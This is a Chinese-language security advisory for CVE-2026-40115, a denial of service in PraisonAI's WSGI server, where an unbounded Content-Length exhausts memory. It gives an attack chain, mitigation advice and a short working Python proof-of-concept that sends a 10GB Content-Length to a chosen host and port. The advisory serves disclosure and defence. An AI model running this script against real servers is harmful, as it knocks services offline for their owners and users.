IPBUF安全漏洞报告
English
CVE-2026-40115 CVSS 6.2 中危

CVE-2026-40115 PraisonAI内存耗尽拒绝服务漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-40115
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

拒绝服务DoS内存耗尽PraisonAICVE-2026-40115WSGI

漏洞概述

PraisonAI在4.5.128版本之前的WSGI配方注册服务器(server.py)中存在安全漏洞。该服务器根据客户端提供的Content-Length头部读取整个HTTP请求体到内存中,且没有设置上限。由于默认情况下禁用了身份验证,本地攻击者可以发送任意大的POST请求来耗尽服务器内存,从而导致拒绝服务。该问题在4.5.128版本中已修复。

技术细节

该漏洞的核心原理在于PraisonAI的WSGI服务器(server.py)未对客户端传入的Content-Length头部进行有效验证。服务器盲目信任该头部值,并尝试在内存中分配相应大小的缓冲区以读取完整的请求体。由于默认配置下未设置认证令牌,任何能访问服务器的本地进程均可利用此漏洞。攻击者只需构造一个包含极大Content-Length值(如10GB)的HTTP POST请求发送给服务器。当服务器处理该请求时,会尝试分配巨额内存,迅速耗尽系统资源,导致服务崩溃或系统无响应。相比之下,Starlette服务器(serve.py)虽有10MB限制,但WSGI服务器缺乏此类防护机制。

攻击链分析

STEP 1
侦察
确认目标运行的是PraisonAI且版本低于4.5.128,并检测WSGI服务端口是否开放。
STEP 2
漏洞利用
攻击者构造一个特制的HTTP POST请求,将Content-Length头部设置为一个极大数值(如10GB)。
STEP 3
资源耗尽
服务器收到请求后,尝试根据Content-Length分配内存缓冲区,导致系统内存被迅速耗尽。
STEP 4
拒绝服务
由于内存不足,服务器进程崩溃或系统变得极度不稳定,无法响应 legitimate 请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-40115: PraisonAI Memory Exhaustion DoS # Target: PraisonAI WSGI server (server.py) < 4.5.128 # Usage: python3 poc.py def send_malicious_request(host, port): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Define a huge Content-Length to exhaust memory (e.g., 10 GB) # The server will attempt to allocate this amount of memory malicious_length = 10737418240 # 10GB # Construct HTTP POST request request = f"POST / HTTP/1.1\r\n" request += f"Host: {host}\r\n" request += f"Content-Length: {malicious_length}\r\n" request += f"\r\n" # Send the request headers s.send(request.encode()) print(f"[+] Sent malicious request to {host}:{port}") print(f"[+] Claimed Content-Length: {malicious_length} bytes") print("[+] Server should now attempt to allocate memory and hang or crash.") # Keep connection open briefly to ensure server processes headers s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_HOST = "127.0.0.1" # Replace with target IP TARGET_PORT = 8000 # Replace with target port send_malicious_request(TARGET_HOST, TARGET_PORT)

影响范围

PraisonAI < 4.5.128

防御指南

临时缓解措施
如果无法立即升级,建议在WSGI服务器前部署中间件或反向代理,严格限制HTTP请求体的最大大小(例如限制为10MB)。同时,务必启用Token认证,防止未授权的本地进程向服务器发送恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表